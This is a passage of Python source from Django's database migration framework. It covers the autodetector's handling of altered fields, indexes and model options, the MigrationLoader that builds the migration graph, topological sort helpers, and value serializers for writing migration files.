                            not new_field.many_to_many):
                        field = new_field.clone()
                        new_default = self.questioner.ask_not_null_alteration(field_name, model_name)
                        if new_default is not models.NOT_PROVIDED:
                            field.default = new_default
                            preserve_default = False
                    else:
                        field = new_field
                    self.add_operation(
                        app_label,
                        operations.AlterField(
                            model_name=model_name,
                            name=field_name,
                            field=field,
                            preserve_default=preserve_default,
                        )
                    )
                else:
                    # We cannot alter between m2m and concrete fields
                    self._generate_removed_field(app_label, model_name, field_name)
                    self._generate_added_field(app_label, model_name, field_name)

    def create_altered_indexes(self):
        option_name = operations.AddIndex.option_name
        for app_label, model_name in sorted(self.kept_model_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            new_model_state = self.to_state.models[app_label, model_name]

            old_indexes = old_model_state.options[option_name]
            new_indexes = new_model_state.options[option_name]
            add_idx = [idx for idx in new_indexes if idx not in old_indexes]
            rem_idx = [idx for idx in old_indexes if idx not in new_indexes]

            self.altered_indexes.update({
                (app_label, model_name): {
                    'added_indexes': add_idx, 'removed_indexes': rem_idx,
                }
            })

    def generate_added_indexes(self):
        for (app_label, model_name), alt_indexes in self.altered_indexes.items():
            for index in alt_indexes['added_indexes']:
                self.add_operation(
                    app_label,
                    operations.AddIndex(
                        model_name=model_name,
                        index=index,
                    )
                )

    def generate_removed_indexes(self):
        for (app_label, model_name), alt_indexes in self.altered_indexes.items():
            for index in alt_indexes['removed_indexes']:
                self.add_operation(
                    app_label,
                    operations.RemoveIndex(
                        model_name=model_name,
                        name=index.name,
                    )
                )

    def _get_dependencies_for_foreign_key(self, field):
        # Account for FKs to swappable models
        swappable_setting = getattr(field, 'swappable_setting', None)
        if swappable_setting is not None:
            dep_app_label = "__setting__"
            dep_object_name = swappable_setting
        else:
            dep_app_label = field.remote_field.model._meta.app_label
            dep_object_name = field.remote_field.model._meta.object_name
        dependencies = [(dep_app_label, dep_object_name, None, True)]
        if getattr(field.remote_field, "through", None) and not field.remote_field.through._meta.auto_created:
            dependencies.append((
                field.remote_field.through._meta.app_label,
                field.remote_field.through._meta.object_name,
                None,
                True,
            ))
        return dependencies

    def _generate_altered_foo_together(self, operation):
        option_name = operation.option_name
        for app_label, model_name in sorted(self.kept_model_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            new_model_state = self.to_state.models[app_label, model_name]

            # We run the old version through the field renames to account for those
            old_value = old_model_state.options.get(option_name) or set()
            if old_value:
                old_value = {
                    tuple(
                        self.renamed_fields.get((app_label, model_name, n), n)
                        for n in unique
                    )
                    for unique in old_value
                }

            new_value = new_model_state.options.get(option_name) or set()
            if new_value:
                new_value = set(new_value)

            if old_value != new_value:
                dependencies = []
                for foo_togethers in new_value:
                    for field_name in foo_togethers:
                        field = self.new_apps.get_model(app_label, model_name)._meta.get_field(field_name)
                        if field.remote_field and field.remote_field.model:
                            dependencies.extend(self._get_dependencies_for_foreign_key(field))

                self.add_operation(
                    app_label,
                    operation(
                        name=model_name,
                        **{option_name: new_value}
                    ),
                    dependencies=dependencies,
                )

    def generate_altered_unique_together(self):
        self._generate_altered_foo_together(operations.AlterUniqueTogether)

    def generate_altered_index_together(self):
        self._generate_altered_foo_together(operations.AlterIndexTogether)

    def generate_altered_db_table(self):
        models_to_check = self.kept_model_keys.union(self.kept_proxy_keys).union(self.kept_unmanaged_keys)
        for app_label, model_name in sorted(models_to_check):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            new_model_state = self.to_state.models[app_label, model_name]
            old_db_table_name = old_model_state.options.get('db_table')
            new_db_table_name = new_model_state.options.get('db_table')
            if old_db_table_name != new_db_table_name:
                self.add_operation(
                    app_label,
                    operations.AlterModelTable(
                        name=model_name,
                        table=new_db_table_name,
                    )
                )

    def generate_altered_options(self):
        """
        Works out if any non-schema-affecting options have changed and
        makes an operation to represent them in state changes (in case Python
        code in migrations needs them)
        """
        models_to_check = self.kept_model_keys.union(
            self.kept_proxy_keys
        ).union(
            self.kept_unmanaged_keys
        ).union(
            # unmanaged converted to managed
            set(self.old_unmanaged_keys).intersection(self.new_model_keys)
        ).union(
            # managed converted to unmanaged
            set(self.old_model_keys).intersection(self.new_unmanaged_keys)
        )

        for app_label, model_name in sorted(models_to_check):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            new_model_state = self.to_state.models[app_label, model_name]
            old_options = dict(
                option for option in old_model_state.options.items()
                if option[0] in AlterModelOptions.ALTER_OPTION_KEYS
            )
            new_options = dict(
                option for option in new_model_state.options.items()
                if option[0] in AlterModelOptions.ALTER_OPTION_KEYS
            )
            if old_options != new_options:
                self.add_operation(
                    app_label,
                    operations.AlterModelOptions(
                        name=model_name,
                        options=new_options,
                    )
                )

    def generate_altered_order_with_respect_to(self):
        for app_label, model_name in sorted(self.kept_model_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            new_model_state = self.to_state.models[app_label, model_name]
            if (old_model_state.options.get("order_with_respect_to") !=
                    new_model_state.options.get("order_with_respect_to")):
                # Make sure it comes second if we're adding
                # (removal dependency is part of RemoveField)
                dependencies = []
                if new_model_state.options.get("order_with_respect_to"):
                    dependencies.append((
                        app_label,
                        model_name,
                        new_model_state.options["order_with_respect_to"],
                        True,
                    ))
                # Actually generate the operation
                self.add_operation(
                    app_label,
                    operations.AlterOrderWithRespectTo(
                        name=model_name,
                        order_with_respect_to=new_model_state.options.get('order_with_respect_to'),
                    ),
                    dependencies=dependencies,
                )

    def generate_altered_managers(self):
        for app_label, model_name in sorted(self.kept_model_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            new_model_state = self.to_state.models[app_label, model_name]
            if old_model_state.managers != new_model_state.managers:
                self.add_operation(
                    app_label,
                    operations.AlterModelManagers(
                        name=model_name,
                        managers=new_model_state.managers,
                    )
                )

    def arrange_for_graph(self, changes, graph, migration_name=None):
        """
        Takes in a result from changes() and a MigrationGraph,
        and fixes the names and dependencies of the changes so they
        extend the graph from the leaf nodes for each app.
        """
        leaves = graph.leaf_nodes()
        name_map = {}
        for app_label, migrations in list(changes.items()):
            if not migrations:
                continue
            # Find the app label's current leaf node
            app_leaf = None
            for leaf in leaves:
                if leaf[0] == app_label:
                    app_leaf = leaf
                    break
            # Do they want an initial migration for this app?
            if app_leaf is None and not self.questioner.ask_initial(app_label):
                # They don't.
                for migration in migrations:
                    name_map[(app_label, migration.name)] = (app_label, "__first__")
                del changes[app_label]
                continue
            # Work out the next number in the sequence
            if app_leaf is None:
                next_number = 1
            else:
                next_number = (self.parse_number(app_leaf[1]) or 0) + 1
            # Name each migration
            for i, migration in enumerate(migrations):
                if i == 0 and app_leaf:
                    migration.dependencies.append(app_leaf)
                if i == 0 and not app_leaf:
                    new_name = "0001_%s" % migration_name if migration_name else "0001_initial"
                else:
                    new_name = "%04i_%s" % (
                        next_number,
                        migration_name or self.suggest_name(migration.operations)[:100],
                    )
                name_map[(app_label, migration.name)] = (app_label, new_name)
                next_number += 1
                migration.name = new_name
        # Now fix dependencies
        for app_label, migrations in changes.items():
            for migration in migrations:
                migration.dependencies = [name_map.get(d, d) for d in migration.dependencies]
        return changes

    def _trim_to_apps(self, changes, app_labels):
        """
        Takes changes from arrange_for_graph and set of app labels and
        returns a modified set of changes which trims out as many migrations
        that are not in app_labels as possible.
        Note that some other migrations may still be present, as they may be
        required dependencies.
        """
        # Gather other app dependencies in a first pass
        app_dependencies = {}
        for app_label, migrations in changes.items():
            for migration in migrations:
                for dep_app_label, name in migration.dependencies:
                    app_dependencies.setdefault(app_label, set()).add(dep_app_label)
        required_apps = set(app_labels)
        # Keep resolving till there's no change
        old_required_apps = None
        while old_required_apps != required_apps:
            old_required_apps = set(required_apps)
            for app_label in list(required_apps):
                required_apps.update(app_dependencies.get(app_label, set()))
        # Remove all migrations that aren't needed
        for app_label in list(changes.keys()):
            if app_label not in required_apps:
                del changes[app_label]
        return changes

    @classmethod
    def suggest_name(cls, ops):
        """
        Given a set of operations, suggests a name for the migration
        they might represent. Names are not guaranteed to be unique,
        but we put some effort in to the fallback name to avoid VCS conflicts
        if we can.
        """
        if len(ops) == 1:
            if isinstance(ops[0], operations.CreateModel):
                return ops[0].name_lower
            elif isinstance(ops[0], operations.DeleteModel):
                return "delete_%s" % ops[0].name_lower
            elif isinstance(ops[0], operations.AddField):
                return "%s_%s" % (ops[0].model_name_lower, ops[0].name_lower)
            elif isinstance(ops[0], operations.RemoveField):
                return "remove_%s_%s" % (ops[0].model_name_lower, ops[0].name_lower)
        elif len(ops) > 1:
            if all(isinstance(o, operations.CreateModel) for o in ops):
                return "_".join(sorted(o.name_lower for o in ops))
        return "auto_%s" % get_migration_name_timestamp()

    @classmethod
    def parse_number(cls, name):
        """
        Given a migration name, tries to extract a number from the
        beginning of it. If no number found, returns None.
        """
        match = re.match(r'^\d+', name)
        if match:
            return int(match.group())
        return None






from __future__ import unicode_literals

import os
import sys
from importlib import import_module

from django.apps import apps
from django.conf import settings
from django.db.migrations.exceptions import MigrationSchemaMissing
from django.db.migrations.graph import MigrationGraph
from django.db.migrations.recorder import MigrationRecorder
from django.utils import six

from .exceptions import (
    AmbiguityError, BadMigrationError, InconsistentMigrationHistory,
    NodeNotFoundError,
)

MIGRATIONS_MODULE_NAME = 'migrations'


class MigrationLoader(object):
    """
    Loads migration files from disk, and their status from the database.

    Migration files are expected to live in the "migrations" directory of
    an app. Their names are entirely unimportant from a code perspective,
    but will probably follow the 1234_name.py convention.

    On initialization, this class will scan those directories, and open and
    read the python files, looking for a class called Migration, which should
    inherit from django.db.migrations.Migration. See
    django.db.migrations.migration for what that looks like.

    Some migrations will be marked as "replacing" another set of migrations.
    These are loaded into a separate set of migrations away from the main ones.
    If all the migrations they replace are either unapplied or missing from
    disk, then they are injected into the main set, replacing the named migrations.
    Any dependency pointers to the replaced migrations are re-pointed to the
    new migration.

    This does mean that this class MUST also talk to the database as well as
    to disk, but this is probably fine. We're already not just operating
    in memory.
    """

    def __init__(self, connection, load=True, ignore_no_migrations=False):
        self.connection = connection
        self.disk_migrations = None
        self.applied_migrations = None
        self.ignore_no_migrations = ignore_no_migrations
        if load:
            self.build_graph()

    @classmethod
    def migrations_module(cls, app_label):
        if app_label in settings.MIGRATION_MODULES:
            return settings.MIGRATION_MODULES[app_label]
        else:
            app_package_name = apps.get_app_config(app_label).name
            return '%s.%s' % (app_package_name, MIGRATIONS_MODULE_NAME)

    def load_disk(self):
        """
        Loads the migrations from all INSTALLED_APPS from disk.
        """
        self.disk_migrations = {}
        self.unmigrated_apps = set()
        self.migrated_apps = set()
        for app_config in apps.get_app_configs():
            # Get the migrations module directory
            module_name = self.migrations_module(app_config.label)
            if module_name is None:
                self.unmigrated_apps.add(app_config.label)
                continue
            was_loaded = module_name in sys.modules
            try:
                module = import_module(module_name)
            except ImportError as e:
                # I hate doing this, but I don't want to squash other import errors.
                # Might be better to try a directory check directly.
                if "No module named" in str(e) and MIGRATIONS_MODULE_NAME in str(e):
                    self.unmigrated_apps.add(app_config.label)
                    continue
                raise
            else:
                # PY3 will happily import empty dirs as namespaces.
                if not hasattr(module, '__file__'):
                    self.unmigrated_apps.add(app_config.label)
                    continue
                # Module is not a package (e.g. migrations.py).
                if not hasattr(module, '__path__'):
                    self.unmigrated_apps.add(app_config.label)
                    continue
                # Force a reload if it's already loaded (tests need this)
                if was_loaded:
                    six.moves.reload_module(module)
            self.migrated_apps.add(app_config.label)
            directory = os.path.dirname(module.__file__)
            # Scan for .py files
            migration_names = set()
            for name in os.listdir(directory):
                if name.endswith(".py"):
                    import_name = name.rsplit(".", 1)[0]
                    if import_name[0] not in "_.~":
                        migration_names.add(import_name)
            # Load them
            for migration_name in migration_names:
                migration_module = import_module("%s.%s" % (module_name, migration_name))
                if not hasattr(migration_module, "Migration"):
                    raise BadMigrationError(
                        "Migration %s in app %s has no Migration class" % (migration_name, app_config.label)
                    )
                self.disk_migrations[app_config.label, migration_name] = migration_module.Migration(
                    migration_name,
                    app_config.label,
                )

    def get_migration(self, app_label, name_prefix):
        "Gets the migration exactly named, or raises `graph.NodeNotFoundError`"
        return self.graph.nodes[app_label, name_prefix]

    def get_migration_by_prefix(self, app_label, name_prefix):
        "Returns the migration(s) which match the given app label and name _prefix_"
        # Do the search
        results = []
        for l, n in self.disk_migrations:
            if l == app_label and n.startswith(name_prefix):
                results.append((l, n))
        if len(results) > 1:
            raise AmbiguityError(
                "There is more than one migration for '%s' with the prefix '%s'" % (app_label, name_prefix)
            )
        elif len(results) == 0:
            raise KeyError("There no migrations for '%s' with the prefix '%s'" % (app_label, name_prefix))
        else:
            return self.disk_migrations[results[0]]

    def check_key(self, key, current_app):
        if (key[1] != "__first__" and key[1] != "__latest__") or key in self.graph:
            return key
        # Special-case __first__, which means "the first migration" for
        # migrated apps, and is ignored for unmigrated apps. It allows
        # makemigrations to declare dependencies on apps before they even have
        # migrations.
        if key[0] == current_app:
            # Ignore __first__ references to the same app (#22325)
            return
        if key[0] in self.unmigrated_apps:
            # This app isn't migrated, but something depends on it.
            # The models will get auto-added into the state, though
            # so we're fine.
            return
        if key[0] in self.migrated_apps:
            try:
                if key[1] == "__first__":
                    return list(self.graph.root_nodes(key[0]))[0]
                else:  # "__latest__"
                    return list(self.graph.leaf_nodes(key[0]))[0]
            except IndexError:
                if self.ignore_no_migrations:
                    return None
                else:
                    raise ValueError("Dependency on app with no migrations: %s" % key[0])
        raise ValueError("Dependency on unknown app: %s" % key[0])

    def add_internal_dependencies(self, key, migration):
        """
        Internal dependencies need to be added first to ensure `__first__`
        dependencies find the correct root node.
        """
        for parent in migration.dependencies:
            if parent[0] != key[0] or parent[1] == '__first__':
                # Ignore __first__ references to the same app (#22325).
                continue
            self.graph.add_dependency(migration, key, parent, skip_validation=True)

    def add_external_dependencies(self, key, migration):
        for parent in migration.dependencies:
            # Skip internal dependencies
            if key[0] == parent[0]:
                continue
            parent = self.check_key(parent, key[0])
            if parent is not None:
                self.graph.add_dependency(migration, key, parent, skip_validation=True)
        for child in migration.run_before:
            child = self.check_key(child, key[0])
            if child is not None:
                self.graph.add_dependency(migration, child, key, skip_validation=True)

    def build_graph(self):
        """
        Builds a migration dependency graph using both the disk and database.
        You'll need to rebuild the graph if you apply migrations. This isn't
        usually a problem as generally migration stuff runs in a one-shot process.
        """
        # Load disk data
        self.load_disk()
        # Load database data
        if self.connection is None:
            self.applied_migrations = set()
        else:
            recorder = MigrationRecorder(self.connection)
            self.applied_migrations = recorder.applied_migrations()
        # To start, populate the migration graph with nodes for ALL migrations
        # and their dependencies. Also make note of replacing migrations at this step.
        self.graph = MigrationGraph()
        self.replacements = {}
        for key, migration in self.disk_migrations.items():
            self.graph.add_node(key, migration)
            # Internal (aka same-app) dependencies.
            self.add_internal_dependencies(key, migration)
            # Replacing migrations.
            if migration.replaces:
                self.replacements[key] = migration
        # Add external dependencies now that the internal ones have been resolved.
        for key, migration in self.disk_migrations.items():
            self.add_external_dependencies(key, migration)
        # Carry out replacements where possible.
        for key, migration in self.replacements.items():
            # Get applied status of each of this migration's replacement targets.
            applied_statuses = [(target in self.applied_migrations) for target in migration.replaces]
            # Ensure the replacing migration is only marked as applied if all of
            # its replacement targets are.
            if all(applied_statuses):
                self.applied_migrations.add(key)
            else:
                self.applied_migrations.discard(key)
            # A replacing migration can be used if either all or none of its
            # replacement targets have been applied.
            if all(applied_statuses) or (not any(applied_statuses)):
                self.graph.remove_replaced_nodes(key, migration.replaces)
            else:
                # This replacing migration cannot be used because it is partially applied.
                # Remove it from the graph and remap dependencies to it (#25945).
                self.graph.remove_replacement_node(key, migration.replaces)
        # Ensure the graph is consistent.
        try:
            self.graph.validate_consistency()
        except NodeNotFoundError as exc:
            # Check if the missing node could have been replaced by any squash
            # migration but wasn't because the squash migration was partially
            # applied before. In that case raise a more understandable exception
            # (#23556).
            # Get reverse replacements.
            reverse_replacements = {}
            for key, migration in self.replacements.items():
                for replaced in migration.replaces:
                    reverse_replacements.setdefault(replaced, set()).add(key)
            # Try to reraise exception with more detail.
            if exc.node in reverse_replacements:
                candidates = reverse_replacements.get(exc.node, set())
                is_replaced = any(candidate in self.graph.nodes for candidate in candidates)
                if not is_replaced:
                    tries = ', '.join('%s.%s' % c for c in candidates)
                    exc_value = NodeNotFoundError(
                        "Migration {0} depends on nonexistent node ('{1}', '{2}'). "
                        "Django tried to replace migration {1}.{2} with any of [{3}] "
                        "but wasn't able to because some of the replaced migrations "
                        "are already applied.".format(
                            exc.origin, exc.node[0], exc.node[1], tries
                        ),
                        exc.node
                    )
                    exc_value.__cause__ = exc
                    if not hasattr(exc, '__traceback__'):
                        exc.__traceback__ = sys.exc_info()[2]
                    six.reraise(NodeNotFoundError, exc_value, sys.exc_info()[2])
            raise exc

    def check_consistent_history(self, connection):
        """
        Raise InconsistentMigrationHistory if any applied migrations have
        unapplied dependencies.
        """
        recorder = MigrationRecorder(connection)
        try:
            applied = recorder.applied_migrations()
        except MigrationSchemaMissing:
            # Skip check if the django_migrations table is missing and can't be
            # created.
            return
        for migration in applied:
            # If the migration is unknown, skip it.
            if migration not in self.graph.nodes:
                continue
            for parent in self.graph.node_map[migration].parents:
                if parent not in applied:
                    # Skip unapplied squashed migrations that have all of their
                    # `replaces` applied.
                    if parent in self.replacements:
                        if all(m in applied for m in self.replacements[parent].replaces):
                            continue
                    raise InconsistentMigrationHistory(
                        "Migration {}.{} is applied before its dependency {}.{}".format(
                            migration[0], migration[1], parent[0], parent[1],
                        )
                    )

    def detect_conflicts(self):
        """
        Looks through the loaded graph and detects any conflicts - apps
        with more than one leaf migration. Returns a dict of the app labels
        that conflict with the migration names that conflict.
        """
        seen_apps = {}
        conflicting_apps = set()
        for app_label, migration_name in self.graph.leaf_nodes():
            if app_label in seen_apps:
                conflicting_apps.add(app_label)
            seen_apps.setdefault(app_label, set()).add(migration_name)
        return {app_label: seen_apps[app_label] for app_label in conflicting_apps}

    def project_state(self, nodes=None, at_end=True):
        """
        Returns a ProjectState object representing the most recent state
        that the migrations we loaded represent.

        See graph.make_state for the meaning of "nodes" and "at_end"
        """
        return self.graph.make_state(nodes=nodes, at_end=at_end, real_apps=list(self.unmigrated_apps))






def topological_sort_as_sets(dependency_graph):
    """Variation of Kahn's algorithm (1962) that returns sets.

    Takes a dependency graph as a dictionary of node => dependencies.

    Yields sets of items in topological order, where the first set contains
    all nodes without dependencies, and each following set contains all
    nodes that depend on the nodes in the previously yielded sets.
    """
    todo = dependency_graph.copy()
    while todo:
        current = {node for node, deps in todo.items() if len(deps) == 0}

        if not current:
            raise ValueError('Cyclic dependency in graph: {}'.format(
                ', '.join(repr(x) for x in todo.items())))

        yield current

        # remove current from todo's nodes & dependencies
        todo = {node: (dependencies - current) for node, dependencies in
                todo.items() if node not in current}


def stable_topological_sort(l, dependency_graph):
    result = []
    for layer in topological_sort_as_sets(dependency_graph):
        for node in l:
            if node in layer:
                result.append(node)
    return result






import datetime
import re

COMPILED_REGEX_TYPE = type(re.compile(''))


class RegexObject(object):
    def __init__(self, obj):
        self.pattern = obj.pattern
        self.flags = obj.flags

    def __eq__(self, other):
        return self.pattern == other.pattern and self.flags == other.flags


def get_migration_name_timestamp():
    return datetime.datetime.now().strftime("%Y%m%d_%H%M")






from __future__ import unicode_literals

import collections
import datetime
import decimal
import functools
import math
import types
from importlib import import_module

from django.db import models
from django.db.migrations.operations.base import Operation
from django.db.migrations.utils import COMPILED_REGEX_TYPE, RegexObject
from django.utils import datetime_safe, six
from django.utils.encoding import force_text
from django.utils.functional import LazyObject, Promise
from django.utils.timezone import utc
from django.utils.version import get_docs_version

try:
    import enum
except ImportError:
    # No support on Python 2 if enum34 isn't installed.
    enum = None


class BaseSerializer(object):
    def __init__(self, value):
        self.value = value

    def serialize(self):
        raise NotImplementedError('Subclasses of BaseSerializer must implement the serialize() method.')


class BaseSequenceSerializer(BaseSerializer):
    def _format(self):
        raise NotImplementedError('Subclasses of BaseSequenceSerializer must implement the _format() method.')

    def serialize(self):
        imports = set()
        strings = []
        for item in self.value:
            item_string, item_imports = serializer_factory(item).serialize()
            imports.update(item_imports)
            strings.append(item_string)
        value = self._format()
        return value % (", ".join(strings)), imports


class BaseSimpleSerializer(BaseSerializer):
    def serialize(self):
        return repr(self.value), set()


class ByteTypeSerializer(BaseSerializer):
    def serialize(self):
        value_repr = repr(self.value)
        if six.PY2:
            # Prepend the `b` prefix since we're importing unicode_literals
            value_repr = 'b' + value_repr
        return value_repr, set()


class DatetimeSerializer(BaseSerializer):
    def serialize(self):
        if self.value.tzinfo is not None and self.value.tzinfo != utc:
            self.value = self.value.astimezone(utc)
        value_repr = repr(self.value).replace("<UTC>", "utc")
        if isinstance(self.value, datetime_safe.datetime):
            value_repr = "datetime.%s" % value_repr
        imports = ["import datetime"]
        if self.value.tzinfo is not None:
            imports.append("from django.utils.timezone import utc")
        return value_repr, set(imports)


class DateSerializer(BaseSerializer):
    def serialize(self):
        value_repr = repr(self.value)
        if isinstance(self.value, datetime_safe.date):
            value_repr = "datetime.%s" % value_repr
        return value_repr, {"import datetime"}


class DecimalSerializer(BaseSerializer):
    def serialize(self):
        return repr(self.value), {"from decimal import Decimal"}


class DeconstructableSerializer(BaseSerializer):
    @staticmethod
    def serialize_deconstructed(path, args, kwargs):
        name, imports = DeconstructableSerializer._serialize_path(path)
        strings = []
        for arg in args:
            arg_string, arg_imports = serializer_factory(arg).serialize()
            strings.append(arg_string)
            imports.update(arg_imports)
        for kw, arg in sorted(kwargs.items()):
            arg_string, arg_imports = serializer_factory(arg).serialize()
            imports.update(arg_imports)
            strings.append("%s=%s" % (kw, arg_string))
        return "%s(%s)" % (name, ", ".join(strings)), imports

    @staticmethod
    def _serialize_path(path):
        module, name = path.rsplit(".", 1)
        if module == "django.db.models":
            imports = {"from django.db import models"}
            name = "models.%s" % name
        else:
            imports = {"import %s" % module}
            name = path
        return name, imports

    def serialize(self):
        return self.serialize_deconstructed(*self.value.deconstruct())


class DictionarySerializer(BaseSerializer):
    def serialize(self):
        imports = set()
        strings = []
        for k, v in sorted(self.value.items()):
            k_string, k_imports = serializer_factory(k).serialize()
            v_string, v_imports = serializer_factory(v).serialize()
            imports.update(k_imports)
            imports.update(v_imports)
            strings.append((k_string, v_string))
        return "{%s}" % (", ".join("%s: %s" % (k, v) for k, v in strings)), imports


class EnumSerializer(BaseSerializer):
    def serialize(self):
        enum_class = self.value.__class__
        module = enum_class.__module__
        imports = {"import %s" % module}
        v_string, v_imports = serializer_factory(self.value.value).serialize()
        imports.update(v_imports)
        return "%s.%s(%s)" % (module, enum_class.__name__, v_string), imports


class FloatSerializer(BaseSimpleSerializer):
    def serialize(self):
        if math.isnan(self.value) or math.isinf(self.value):
            return 'float("{}")'.format(self.value), set()
        return super(FloatSerializer, self).serialize()


class FrozensetSerializer(BaseSequenceSerializer):
    def _format(self):
        return "frozenset([%s])"


class FunctionTypeSerializer(BaseSerializer):
    def serialize(self):
        if getattr(self.value, "__self__", None) and isinstance(self.value.__self__, type):
            klass = self.value.__self__
            module = klass.__module__
            return "%s.%s.%s" % (module, klass.__name__, self.value.__name__), {"import %s" % module}
        # Further error checking
        if self.value.__name__ == '<lambda>':
            raise ValueError("Cannot serialize function: lambda")
        if self.value.__module__ is None:
            raise ValueError("Cannot serialize function %r: No module" % self.value)
        # Python 3 is a lot easier, and only uses this branch if it's not local.
        if getattr(self.value, "__qualname__", None) and getattr(self.value, "__module__", None):
            if "<" not in self.value.__qualname__:  # Qualname can include <locals>
                return "%s.%s" % \
                    (self.value.__module__, self.value.__qualname__), {"import %s" % self.value.__module__}
        # Python 2/fallback version
        module_name = self.value.__module__
        # Make sure it's actually there and not an unbound method
        module = import_module(module_name)
        if not hasattr(module, self.value.__name__):
            raise ValueError(
                "Could not find function %s in %s.\n"
                "Please note that due to Python 2 limitations, you cannot "
                "serialize unbound method functions (e.g. a method "
                "declared and used in the same class body). Please move "
                "the function into the main module body to use migrations.\n"
                "For more information, see "
                "https://docs.djangoproject.com/en/%s/topics/migrations/#serializing-values"
                % (self.value.__name__, module_name, get_docs_version())
            )
        # Needed on Python 2 only
        if module_name == '__builtin__':
            return self.value.__name__, set()
        return "%s.%s" % (module_name, self.value.__name__), {"import %s" % module_name}


class FunctoolsPartialSerializer(BaseSerializer):
    def serialize(self):
        imports = {'import functools'}
        # Serialize functools.partial() arguments
        func_string, func_imports = serializer_factory(self.value.func).serialize()
        args_string, args_imports = serializer_factory(self.value.args).serialize()
        keywords_string, keywords_imports = serializer_factory(self.value.keywords).serialize()
        # Add any imports needed by arguments
        imports.update(func_imports)
        imports.update(args_imports)
        imports.update(keywords_imports)
        return (
            "functools.partial(%s, *%s, **%s)" % (
                func_string, args_string, keywords_string,
            ),
            imports,
        )


class IterableSerializer(BaseSerializer):
    def serialize(self):
        imports = set()
        strings = []
        for item in self.value:
            item_string, item_imports = serializer_factory(item).serialize()
            imports.update(item_imports)
            strings.append(item_string)
        # When len(strings)==0, the empty iterable should be serialized as
        # "()", not "(,)" because (,) is invalid Python syntax.
        value = "(%s)" if len(strings) != 1 else "(%s,)"
        return value % (", ".join(strings)), imports


class ModelFieldSerializer(DeconstructableSerializer):
    def serialize(self):
        attr_name, path, args, kwargs = self.value.deconstruct()
        return self.serialize_deconstructed(path, args, kwargs)


class ModelManagerSerializer(DeconstructableSerializer):
    def serialize(self):
        as_manager, manager_path, qs_path, args, kwargs = self.value.deconstruct()
        if as_manager:
            name, imports = self._serialize_path(qs_path)
            return "%s.as_manager()" % name, imports
        else:
            return self.serialize_deconstructed(manager_path, args, kwargs)


class OperationSerializer(BaseSerializer):
    def serialize(self):
        from django.db.migrations.writer import OperationWriter
        string, imports = OperationWriter(self.value, indentation=0).serialize()
        # Nested operation, trailing comma is handled in upper OperationWriter._write()
        return string.rstrip(','), imports


class RegexSerializer(BaseSerializer):
    def serialize(self):
        imports = {"import re"}
        regex_pattern, pattern_imports = serializer_factory(self.value.pattern).serialize()
        regex_flags, flag_imports = serializer_factory(self.value.flags).serialize()
        imports.update(pattern_imports)
        imports.update(flag_imports)
        args = [regex_pattern]
        if self.value.flags:
            args.append(regex_flags)
        return "re.compile(%s)" % ', '.join(args), imports


class SequenceSerializer(BaseSequenceSerializer):
    def _format(self):
        return "[%s]"


class SetSerializer(BaseSequenceSerializer):
    def _format(self):
        # Don't use the literal "{%s}" as it doesn't support empty set
        return "set([%s])"


class SettingsReferenceSerializer(BaseSerializer):
    def serialize(self):
        return "settings.%s" % self.value.setting_name, {"from django.conf import settings"}


class TextTypeSerializer(BaseSerializer):
    def serialize(self):
        value_repr = repr(self.value)
        if six.PY2:
            # Strip the `u` prefix since we're importing unicode_literals
            value_repr = value_repr[1:]
        return value_repr, set()


class TimedeltaSerializer(BaseSerializer):
    def serialize(self):
        return repr(self.value), {"import datetime"}


class TimeSerializer(BaseSerializer):
    def serialize(self):
        value_repr = repr(self.value)
        if isinstance(self.value, datetime_safe.time):
            value_repr = "datetime.%s" % value_repr
        return value_repr, {"import datetime"}


class TupleSerializer(BaseSequenceSerializer):
    def _format(self):
        # When len(value)==0, the empty tuple should be serialized as "()",
        # not "(,)" because (,) is invalid Python syntax.
        return "(%s)" if len(self.value) != 1 else "(%s,)"


class TypeSerializer(BaseSerializer):
    def serialize(self):
        special_cases = [
            (models.Model, "models.Model", []),
        ]
        for case, string, imports in special_cases:
            if case is self.value:
                return string, set(imports)
        if hasattr(self.value, "__module__"):
            module = self.value.__module__
            if module == six.moves.builtins.__name__:
                return self.value.__name__, set()
            else:
                return "%s.%s" % (module, self.value.__name__), {"import %s" % module}


def serializer_factory(value):
    from django.db.migrations.writer import SettingsReference
    if isinstance(value, Promise):
        value = force_text(value)
    elif isinstance(value, LazyObject):
        # The unwrapped value is returned as the first item of the arguments
        # tuple.
        value = value.__reduce__()[1][0]

    if isinstance(value, models.Field):
        return ModelFieldSerializer(value)
    if isinstance(value, models.manager.BaseManager):
        return ModelManagerSerializer(value)
    if isinstance(value, Operation):
        return OperationSerializer(value)
    if isinstance(value, type):
        return TypeSerializer(value)
    # Anything that knows how to deconstruct itself.
    if hasattr(value, 'deconstruct'):
        return DeconstructableSerializer(value)

    # Unfortunately some of these are order-dependent.
    if isinstance(value, frozenset):
        return FrozensetSerializer(value)
    if isinstance(value, list):
        return SequenceSerializer(value)
    if isinstance(value, set):
        return SetSerializer(value)
    if isinstance(value, tuple):
        return TupleSerializer(value)
    if isinstance(value, dict):
        return DictionarySerializer(value)
    if enum and isinstance(value, enum.Enum):
        return EnumSerializer(value)
    if isinstance(value, datetime.datetime):
        return DatetimeSerializer(value)
    if isinstance(value, datetime.date):
        return DateSerializer(value)
    if isinstance(value, datetime.time):
        return TimeSerializer(value)
    if isinstance(value, datetime.timedelta):
        return TimedeltaSerializer(value)
    if isinstance(value, SettingsReference):
        return SettingsReferenceSerializer(value)
    if isinstance(value, float):
        return FloatSerializer(value)
    if isinstance(value, six.integer_types + (bool, type(None))):
        return BaseSimpleSerializer(value)
    if isinstance(value, six.binary_type):
        return ByteTypeSerializer(value)
    if isinstance(value, six.text_type):
        return TextTypeSerializer(value)
    if isinstance(value, decimal.Decimal):
        return DecimalSerializer(value)
    if isinstance(value, functools.partial):
        return FunctoolsPartialSerializer(value)
    if isinstance(value, (types.FunctionType, types.BuiltinFunctionType)):
        return FunctionTypeSerializer(value)
    if isinstance(value, collections.Iterable):
        return IterableSerializer(value)
